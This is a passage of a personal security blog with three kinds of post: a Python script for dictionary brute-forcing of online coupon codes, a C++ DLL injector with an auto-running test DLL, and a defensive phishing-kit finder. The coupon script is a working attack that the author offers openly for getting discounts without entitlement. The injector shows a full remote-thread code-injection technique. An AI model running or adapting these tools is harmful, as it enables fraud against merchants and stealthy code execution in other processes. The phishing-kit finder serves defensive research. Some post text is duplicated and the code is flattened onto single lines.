import requests, json from multiprocessing.dummy import Pool as ThreadPool pool = ThreadPool(4) # sets up 4 threads #this builds the numbers that will be appended to the end of a word. #i'm doing word5, word10, word15, etc..., as well as the year (word19) nums=[] for num in range(10): nums.append(str((num+1)*5)) #10,20,30, etc.. nums.append("19") #just the year words = set() with open('words.txt') as f: #open words.txt (the dictionary) for line in f: #for each line, words.add(line.strip().upper()) #change it to uppercase, take off the newline, and add just the base word to the array for num in nums: #and for every number in nums, words.add(line.strip().upper()+num) #add it to the end of the word, and add the term to the array print "guesses: ", str(len(words)) url1 = "http://site.site.xyx/promoLink?couponCode=" #first part of url to attack url2 = "&field=x&field2=y" #second part of url to attack #this is the function that takes a word as an argument. #every thread will pull a word from the words array and run through this function with it def guesser(word): url = url1+word+url2 #form the url to attempt req = requests.get(url) #send the request if req.status_code!=200: #if it doesn't get a 200 back, print "Server might be blocking us! Abort abort!" #print out a warning break req = json.loads(req.text) # load the response into a json object if req['success']!=False: #if the 'success' element doesn't equal false, print word, "WINNER WINNER CHICKEN DINNER!" return word #return the word else: #otherwise, print "Word: ", word return #return nothing results = pool.map(guesser, list(words)) #this actually kicks off the threads pool.close() pool.join() final = set() for res in results: final.add(res) f=open('hits.yay', 'w') for result in final: f.write(result) f.write('\n') f.close()
Friday, December 14, 2018
Promo/Coupon Code Brute Forcing
With the Christmas holiday coming up, I was on the hunt for some good promo codes to get some discounts. I wrote a quick multi-threaded python script to run a dictionary attack against a URL that checks for valid codes. It'll have to be slightly modified for every URL, but the framework is there...
Monday, April 30, 2018
Super Simple Auto-Running DLL
This is the DLL I used in the DLL injector. I actually changed it instead of a message box to just write a file into the c:\misc directory.
The DllMain function is what's executed when the DLL is loaded by a process or thread, or detached by the same.
1: #include "stdafx.h"
2: #include <fstream>
3:
4: BOOL APIENTRY DllMain( HMODULE hModule,
5: DWORD ul_reason_for_call,
6: LPVOID lpReserved
7: )
8: {
9: std::ofstream myfile;
10: switch (ul_reason_for_call)
11: {
12: case DLL_PROCESS_ATTACH:
13: myfile.open("c:\\misc\\dllInjectTest.txt");
14: myfile << "Bomb Diggity!\n";
15: myfile.close();
16: break;
17: case DLL_THREAD_ATTACH:
18: myfile.open("c:\\misc\\dllInjectTest.txt");
19: myfile << "Bomb Diggity!\n";
20: myfile.close();
21: case DLL_THREAD_DETACH:
22: case DLL_PROCESS_DETACH:
23: break;
24: }
25: return TRUE;
26: }
The DllMain function is what's executed when the DLL is loaded by a process or thread, or detached by the same.
Super Simple DLL Injector
Been wanting to do this for a VERY long time... This is a super simple (like as easy as you can get) DLL injector that I wrote to do some testing. Here we go!
All the way up to line 33 is almost a direct steal from the Firefall Auto-Trigger tool I wrote a while ago. It finds a process by executable name, and obtains a handle to it with OpenProcess(). For this one, I used PROCESS_ALL_ACCESS to be able to write to it and start remote threads.
The interesting parts are line 35 and on. Line 35 is just the path to a DLL on the system. The DLL I wrote just pops up a message box saying "It worked!". 36 allocates enough memory to store that string. Important to note to use the PAGE_EXECUTE_READWRITE permission so the code can be executed. Line 38 writes that path into the newly allocated memory.
If it was successful, line 41 gets the address of LoadLibraryA from kernel32.dll in the DLL injector process. Since ASLR only randomizes on boot up, it'll be the same for every process, meaning the location of LoadLibraryA is the same in the DLL injector as it is in the target process.
Line 47 is the magic. It'll start a remote thread that just calls LoadLibraryA, with the argument of my DLL path. LoadLibraryA will import my DLL. The DLL is written so that every time it's imported, it'll execute a block of code. That code is the message box.
There's lots that can be fixed with this. Trimming down permissions from PROCESS_ALL_ACCESS to only what's needed, dynamically figuring out how much size is needed for the VirtualAlloc by the length of the path, etc...
One thing interesting that I found out, is that I couldn't inject into built-in Windows processes like Calculator or Notepad. It just kept giving me permission denied. I tried using both 32-bit and 64-bit versions of the injector, but it still wouldn't work. When I tried chrome.exe on a hunch, it worked no problem. I'm still investigating why this is an issue.
1: #include "stdafx.h"
2: #include <Windows.h>
3: #include <iostream>
4: #include <TlHelp32.h>
5:
6: using namespace std;
7:
8: int main()
9: {
10: HANDLE hHandle = NULL;
11: HANDLE hSnapshot;
12: PROCESSENTRY32 entry;
13: entry.dwSize = sizeof(entry);
14: hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
15: if (Process32First(hSnapshot, &entry) == TRUE)
16: {
17: while (Process32Next(hSnapshot, &entry) == TRUE)
18: {
19: if (_tcscmp(entry.szExeFile, TEXT("chrome.exe")) == 0)
20: {
21: hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);
22: break;
23: }
24: }
25: }
26: if (!hHandle)
27: {
28: printf("OpenProcess() Failed!\n");
29: return 1;
30: }
31: else
32: {
33: printf("Program (PID: %d) opened successfully\n", entry.th32ProcessID);
34:
35: const char* path = "C:\\misc\\Dll1.dll";
36: LPVOID cave = VirtualAllocEx(hHandle, NULL, 25, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
37: SIZE_T* bytesWritten = NULL;
38: BOOL successWriting = WriteProcessMemory(hHandle, cave, path, 25, bytesWritten);
39: if (successWriting)
40: {
41: LPVOID loadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
42: if (!loadLibraryAddress)
43: {
44: DWORD dw = GetLastError();
45: cout << "Error: " << dw << endl;
46: }
47: HANDLE remoteThread = CreateRemoteThread(hHandle, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibraryAddress, cave, NULL, NULL);
48: }
49: else
50: {
51: DWORD dw = GetLastError();
52: cout << "Error: " << dw << endl;
53: }
54: }
55: cin.get();
56: }
All the way up to line 33 is almost a direct steal from the Firefall Auto-Trigger tool I wrote a while ago. It finds a process by executable name, and obtains a handle to it with OpenProcess(). For this one, I used PROCESS_ALL_ACCESS to be able to write to it and start remote threads.
The interesting parts are line 35 and on. Line 35 is just the path to a DLL on the system. The DLL I wrote just pops up a message box saying "It worked!". 36 allocates enough memory to store that string. Important to note to use the PAGE_EXECUTE_READWRITE permission so the code can be executed. Line 38 writes that path into the newly allocated memory.
If it was successful, line 41 gets the address of LoadLibraryA from kernel32.dll in the DLL injector process. Since ASLR only randomizes on boot up, it'll be the same for every process, meaning the location of LoadLibraryA is the same in the DLL injector as it is in the target process.
Line 47 is the magic. It'll start a remote thread that just calls LoadLibraryA, with the argument of my DLL path. LoadLibraryA will import my DLL. The DLL is written so that every time it's imported, it'll execute a block of code. That code is the message box.
There's lots that can be fixed with this. Trimming down permissions from PROCESS_ALL_ACCESS to only what's needed, dynamically figuring out how much size is needed for the VirtualAlloc by the length of the path, etc...
One thing interesting that I found out, is that I couldn't inject into built-in Windows processes like Calculator or Notepad. It just kept giving me permission denied. I tried using both 32-bit and 64-bit versions of the injector, but it still wouldn't work. When I tried chrome.exe on a hunch, it worked no problem. I'm still investigating why this is an issue.
Monday, March 26, 2018
Phish Kit Finder
Source article: https://duo.com/blog/phish-in-a-barrel-hunting-and-analyzing-phishing-kits-at-scale
Quite often, a script kiddie that exploits a website will just upload and extract a .zip file containing their phishing kit. This usually includes .php, .html, image, and sometimes helpful README files. What they *don't* do is turn off the directory listing feature of the web server. This results in all their files being viewable to anyone that browses to the root of where they unpacked the zip.
By gathering phishing links, cutting them into parts, and checking each one for .zip files, you can sometimes find the original .zip they used. Since the .zip is not displayable in the browser, you can download it. Inside, the .php files usually have a destination mailing address of the attacker along with a subject line and other interesting tidbits, such as hacker group shout-outs, names/versions of the kit, etc...
Here's an example URL:
http://codecrossroad.blogspot.com/this/is/a/phishing/link.html
It gets cut into the following URLs:
http://codecrossroad.blogspot.com/this/is/a/phishing/
http://codecrossroad.blogspot.com/this/is/a/
http://codecrossroad.blogspot.com/this/is/
http://codecrossroad.blogspot.com/this
http://codecrossroad.blogspot.com/
Each one is scraped, and checked for "<something>.zip" in the results. If it finds it, it'll attempt to download at the initial path + the name of the .zip. Ex:
http://codecrossroad.blogspot.com/this/is.zip
Direct attempts are also attempted at each split URL. Ex:
http://codecrossroad.blogspot.com/this/is/a/phishing.zip
http://codecrossroad.blogspot.com/this/is/a.zip
etc...
Link shorteners are popular to deliver malicious links in e-mails. The expander() function attempts to resolve them and then does the URL splitting.
For the initial testing, it's looking like ~10% of websites that I scrape in this method have the .zip uploaded. Not too bad.
Enough talking, here's the code!
Quite often, a script kiddie that exploits a website will just upload and extract a .zip file containing their phishing kit. This usually includes .php, .html, image, and sometimes helpful README files. What they *don't* do is turn off the directory listing feature of the web server. This results in all their files being viewable to anyone that browses to the root of where they unpacked the zip.
By gathering phishing links, cutting them into parts, and checking each one for .zip files, you can sometimes find the original .zip they used. Since the .zip is not displayable in the browser, you can download it. Inside, the .php files usually have a destination mailing address of the attacker along with a subject line and other interesting tidbits, such as hacker group shout-outs, names/versions of the kit, etc...
Here's an example URL:
http://codecrossroad.blogspot.com/this/is/a/phishing/link.html
It gets cut into the following URLs:
http://codecrossroad.blogspot.com/this/is/a/phishing/
http://codecrossroad.blogspot.com/this/is/a/
http://codecrossroad.blogspot.com/this/is/
http://codecrossroad.blogspot.com/this
http://codecrossroad.blogspot.com/
Each one is scraped, and checked for "<something>.zip" in the results. If it finds it, it'll attempt to download at the initial path + the name of the .zip. Ex:
http://codecrossroad.blogspot.com/this/is.zip
Direct attempts are also attempted at each split URL. Ex:
http://codecrossroad.blogspot.com/this/is/a/phishing.zip
http://codecrossroad.blogspot.com/this/is/a.zip
etc...
Link shorteners are popular to deliver malicious links in e-mails. The expander() function attempts to resolve them and then does the URL splitting.
For the initial testing, it's looking like ~10% of websites that I scrape in this method have the .zip uploaded. Not too bad.
Enough talking, here's the code!
import requests, re, io, zipfile, os urls = [] f = open("threatUrls_out.csv") for line in f: urls.append(line.strip()) f.close() def direct(url): try: r = re.findall('[^\/]+', url) #splits url into all parts starter = r[0] + "//" + r[1] + "/" #url = http://<site>/ for el in range(len(r)-3): starter = starter + r[el+2] + ".zip" #starter = starter + next path level data = requests.get(starter, timeout=3) if data.status_code==200: if data.content[:2]=='PK': f = open(r[1]+"_direct.zip", 'wb') #r[1] = domain f.write(data.content) f.close() print "\tDirect zip found and downloaded!" starter = starter[:-4]+'/' #removes .zip, adds / for next path level return 1 except Exception as e: print "Error in direct(): ", str(e) return 0 def regex(url): try: r = re.findall('[^\/]+', url) #splits url into all parts starter = r[0] + "//" + r[1] + '/' #url = http://<site>/ for el in range(len(r)-3): starter = starter + r[el+2]+'/' #adds slash to each path level data = requests.get(starter, timeout=3) if ".zip" in data.text: #if there's a .zip anywhere on the html.. regZipX = re.findall("([^\s<>=\"]+\.zip)", data.text) #find all of them with a regex if len(regZipX) > 0: #if it found some, try: regZip = set(regZipX) #dedup them for zipName in regZip: #for all the .zips... data = requests.get(starter+zipName,timeout=3) #try to get them at the path + the regexed zip name if data.status_code==200: if data.content[:2]=='PK': f = open(r[1]+"_regex_"+zipName, 'wb') f.write(data.content) f.close() print "\tRegex Zip found and downloaded!" except Exception as e: print "Error in regexer...", str(e) except Exception as e: print "Error in regexer..." + str(e) def emailParse(): emails=set() path = '/home/me/phishkitfinder/' files = os.listdir(path) for file in files: if '.zip' in file: print "opening", file hit = re.search('(.*?)_', file) domain = hit.group(1) zipF = open(path+file) zipContent = zipF.read() zip = zipfile.ZipFile(io.BytesIO(zipContent), 'r') for fileName in zip.namelist(): f = zip.open(fileName) contents = f.read() hit = re.findall("([\w_.+-]+\@[\w-]+\.\w+)", contents) if len(hit) > 0: for h in hit: emails.add((domain,h)) f.close() os.rename('/home/me/phishkitfinder/'+file, '/home/me/phishkitfinder/processedKits/'+file) print "writing e-mails to file..." emailFile = open('emailsHarvested.txt', 'a') for email in emails: emailFile.write(email[0]+"\t"+email[1]+"\n") emailFile.close() def expander(url): try: req = requests.get(url, allow_redirects=False, timeout=3) if req.status_code==302: url = req.headers['Location'] return url else: return url except Exception as e: print "Error in expanderizer! ", str(e) return url emails = set() #unique list of e-mail addresses max = len(urls) count = 0 for url in urls: count = count + 1 print "on",count,"of",max,"(",url,")" if len(url) < 30: oldUrl = url url = expander(url) print "Original URL " + oldUrl + " expanded to " + url dir = direct(url) # try direct grabs reg = regex(url) # try parsing for .zip's emailParse() # parse zips for e-mail addresses
Subscribe to:
Comments (Atom)